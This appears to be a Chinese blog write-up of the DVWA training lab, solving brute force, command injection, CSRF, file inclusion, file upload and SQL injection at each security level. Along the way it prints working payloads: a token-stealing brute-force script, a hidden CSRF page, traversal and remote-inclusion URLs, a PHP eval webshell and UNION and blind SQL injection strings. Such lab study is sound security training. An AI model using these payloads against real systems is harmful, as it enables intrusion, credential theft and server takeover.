• dvwa(low-high)上


    DVWA——闯关记录

    Brute force(暴力破解)
    low

    查看源代码可以看到,仅仅验证了是否设置了login参数,对username和password没有任何过滤

    ///部分源代码///

    if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    可以采用burp抓包,暴力破解,也可以手动注入

    username:admin' or 1='1
    password:
    
    medium

    Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,',",x1a)进行转义,基本上能够抵御sql注入攻击

    sql注入不再有效,但是采用burp爆破依然也可以成功

    high

    High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

    因为加入了token。不再使用burp爆破,参考脚本如下

    from bs4 import BeautifulSoup
    import requests
    import re
    requrl = "http://49.235.230.115:13001/vulnerabilities/brute/"
    def get_token(requrl):
        cookies = {'Cookie': 'security=high; PHPSESSID=eoeqii4vtg3kjv86i5fc1k97s4'}
        req = requests.post(url=requrl, cookies=cookies)
        response = req.text
        bs = BeautifulSoup(response, "html.parser")
        user_token = bs.find_all(re.compile("input"))[3]
        m=str(user_token).split()[3]
        m=m.split('"')[1]
        print(m)
        user_token=m;
        return user_token
    try:
        user_token = get_token(requrl)
        for passwd in open("password.txt"):
            requrl = "http://49.235.230.115:13001/vulnerabilities/brute/" + "?username=admin&password=" + passwd.strip() + "&Login=Login&user_token=" + user_token
            user_token = get_token(requrl)
    except Exception as e:
        print(e)
    

    利用burp检测情况即可,长度不同的请求便可以得知就是正确的密码

    60_~6RT_NCJM_46@V_6VGQ9.png

    Command injection(命令注入)
    low

    查看源代码可以看见,程序判断操作系统类型,并执行对应的ping命令

    ///相关函数介绍 ///

    stristr(string,search,before_search)

    stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为"false" ,如果设置为 "true",函数将返回 search 参数第一次出现之前的字符串部分。

    php_uname(mode)

    这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

    可以看见,程序并未对'ip'进行任何的过滤

    Windows和Linux都可以使用&&执行多条命令

    这里需要注意的是”&&”与” &”的区别:

    Command 1&&Command 2

    先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

    Command 1&Command 2

    先执行Command 1,不管是否成功,都会执行Command 2

    可以输入以下命令

    ip:127.0.0.1&&net user
    

    net user 查看与账户有关的信息(新建账户、删除账户、查看特定账户、激活账户、账户禁用),为克隆账户提供前提,键入不带参数的命令可以查看所有用户包括已经禁用的

    medium

    查看源代码,可以看到对IP参数进行了一定的过滤,即将

    && 和 ; 删除

    本质上和low等级没区别

    high

    查看源代码可以看见几乎过滤了所有非法字符

    // Set blacklist

    $substitutions = array(

    ​ '&' => '',

    ​ ';' => '',

    ​ '| ' => '',

    ​ '-' => '',

    ​ '$' => '',

    ​ '(' => '',

    ​ ')' => '',

    ​ '`' => '',

    ​ '||' => '',

    );

    但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

    Command 1 | Command 2

    “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

    CSRF(跨站请求伪造)
    low

    关键:利用受害者的cookie向服务器发送伪造请求,不同浏览器cookie不一样

    1、利用引诱受害者点击网页链接达到目的

    http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
    

    可以看见这个链接过于明显,并且受害者看见这个页面就知道自己密码被篡改了

    但是,当服务器域名不是IP时可以生成相应的短链接,但是修改之后依然可以看见密码被修改的界面

    2、构造攻击页面

    事先在公网上上传一个攻击页面,诱骗受害者去访问

    本地测试代码如下

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <title>404</title>
    </head>
    <body>
    	<img src="http://49.235.230.115:13001/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#"
    		 border="0" style="display:none;"/>
    
    	<h1>404<h1>
    	<h2>file not found<h2>
    </body>
    </html>
    

    受害者点击这个页面之后,密码就被篡改了

    medium

    查看网页源代码,可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是49.235.230.115)

    相关函数:

    int eregi(string pattern, string string)

    检查string中是否含有pattern(不区分大小写),返回布尔值

    过滤规则是http包头的Referer参数的值中必须包含主机名,因此只需要将攻击页面命名为

    49.235.230.115.html

    即可

    high

    查看源代码,可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

    可以去构造一个界面,放在攻击者的额服务器,然后吸引受害者去点击。攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。但是这里涉及了跨域,现在的浏览器使不允许跨域的。

    因此,只能将页面部署在受害者的服务器上面

    下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

    这里的name参数存在XSS漏洞,注入代码如下

    Name:<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)

    成功弹出弹窗

    File inclusion(文件包含)

    文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

    需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

    查看源代码,可以看见,源代码对于page 参数没有进行任何的过滤。因此有以下两种方式对漏洞进行利用

    1、本地文件包含

    构造url

    http://49.235.230.115:13001/vulnerabilities/fi/?page=../../../etc/passwd	#Linux下查看服务器根目录,也可以使用/etc/shadow,但是可能会因为没有权限读取失败
    

    _J4C_UAJ8_PT3H_4@_P_93F.png

    2、远程文件包含

    在远程服务器上放一个phpinfo.php文件

    其内容是

    <?php
    phpinfo();
    ?>
    

    _916C_XA4SZGHVJVQ36`_L6.png

    如图所示,随后构造url

    http://49.235.230.115:13001/vulnerabilities/fi/?page=http://47.94.132.67/phpinfo.php
    

    2I~L_SAJA6U_DNRT_V`Q2DT.png

    成功获取服务器信息

    medium

    查看源代码可以看见

    $file=str_replace(array("http://","https://"),"",$file);
    $file=str_replace(array("../","..""),"",$file);
    

    代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

    因为只替换../和..,因此可以将命令改为

    http://49.235.230.115:13001/vulnerabilities/fi/?page=..././..././..././etc/passwd	
    

    读取成功

    C@JAIE`F9@FJ5__G6SKWNPN.png

    远程文件包含也可用双写绕过

    http://49.235.230.115:13001/vulnerabilities/fi/?page=hthttp://tp://47.94.132.67/phpinfo.php
    

    读取成功

    high

    查看源代码可以看到

    //Inputvalidation
    if(!fnmatch("file*",$file)&&$file!="include.php")
    

    代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。对此,我们可以利用file协议构造url,但是首先要获取文件的绝对路径

    http://49.235.230.115:13001/vulnerabilities/fi/?page=file:///C:/phpstudy/php/php-5.4.45/php.ini
    
    File upload(文件上传)
    low

    查看源代码

    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Where are we going to be writing to? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
    

    可以看见,源代码对于上传的文件没有进行任何过滤

    basename(path,suffix)

    函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。

    上传文件hack.php(一句话木马)

    <?php
    @eval($_POST['eee']);
    ?>
    

    OHV_BAP_ICB___Y@_DH8UI1.png

    可以看见已经成功上传,随后使用菜刀链接

    可以知道文件所在位置

    http://49.235.230.115:13001/hackable/uploads/hack.php
    

    利用菜刀链接,如图
    FUN_FOIP86_VBFM_CL_K_XW.png

    medium

    查看源代码,限制了上传文件类型必须是jpeg或者png,且大小不超过100000B

    首先一句话木马文件phpinfo.php将其后缀修改为png,随后抓包,修改文件名称为phpinfo.php

    此处文件名修改为phpinfo.php,成功上传,之后利用菜刀连接即可

    high

    查看源代码,可以看见

    strrpos(string,find,start)

    函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

    getimagesize(string filename)

    函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

    可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

    在这里可以利用copy将一句话木马与图片结合

    8__@YE_T_FDY_QO0__`5W0R.png

    打开图片文件,可以看见一句话木马被加载了文件最后

    随后,可以看见上传成功

    利用菜刀连接即可

    Sql injection(sql注入)
    low

    查看源代码,可以看见对输入的id没有任何的过滤,且参数是以单引号闭合

    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    

    构造语句

    1' or '1'=1 #
    

    成功

    medium

    查看源代码可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,,',",x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    但是依旧可以通过抓包修改参数

    首先抓包修改参数id为

    1' or 1=1#
    

    报错,之后修改参数为

    1 or 1=1#
    

    查询成功,说明存在字符型注入,此时函数mysql_real_escape_string并未起作用

    之后依次修改参数

    1 union select 1,2#	确定字段显示顺序
    1 union select 1,database() #	查询数据库名
    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #	查询表名
    1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #	将**'user'**修改为**0x7573657273**,避免被函数转义,查询字段名
    
    high

    查看源代码,很明显只是添加了Limit 1,其余和low级别没有说明区别,可以将Limit 1注释掉即可

    输入代码:

    1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    

    可以看见输出目标结果

    S7PH_9PQI_9R11O94G__DTY.png

    Sql injection(blind)(SQL盲注)
    low

    可知,一共有两种结果

    User ID exists in the database.
    
    User ID is MISSING from the database.
    

    可以采用两种方法

    1、基于布尔类型的盲注

    输入1’ and length(database())=1 #,显示不存在;
    
    输入1’ and length(database())=2 #,显示不存在;
    
    输入1’ and length(database())=3 #,显示不存在;
    
    输入1’ and length(database())=4 #,显示存在:
    

    随后使用二分法猜数据库名,之后猜表的数量

    1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
    
    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
    

    后续不再一一赘述

    2、基于时间的盲注

    1’ and if(length(database())=1,sleep(5),1) # 没有延迟
    
    1’ and if(length(database())=2,sleep(5),1) # 没有延迟
    
    1’ and if(length(database())=3,sleep(5),1) # 没有延迟
    
    1’ and if(length(database())=4,sleep(5),1) # 明显延迟
    

    方法和上面的类似

    medium

    查看源代码可以看见,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,,',",x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    同样的,利用抓包修改参数即可达到目的,参数内容和low等级一样,不再赘述

    high

    查看源代码,可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    虽然添加了limit,但是我们可以将其注释掉

    抓包然后修改id参数

    后续步骤和medium类似,不再赘述

  • 相关阅读:
    搭建你的Spring.Net+Nhibernate+Asp.Net Mvc 框架 (五)测试你的成果
    初识Asp.Net MVC2.0
    搭建你的Spring.Net+Nhibernate+Asp.Net Mvc 框架 (四)配置全攻略
    Asp.Net MVC2.0 Url 路由入门
    逝去的2010,期待平静的2011【续】
    搭建你的Spring.Net+Nhibernate+Asp.Net Mvc 框架 (六)写在后面的话
    初识Asp.Net MVC2.0【续】
    Nhibernate入门与demo
    Entity Framework快速入门CodeOnly POCO
    用友面试经历 续【最终遭拒】
  • 原文地址:https://www.cnblogs.com/yyy-fff/p/14127252.html
Copyright © 2020-2023  润新知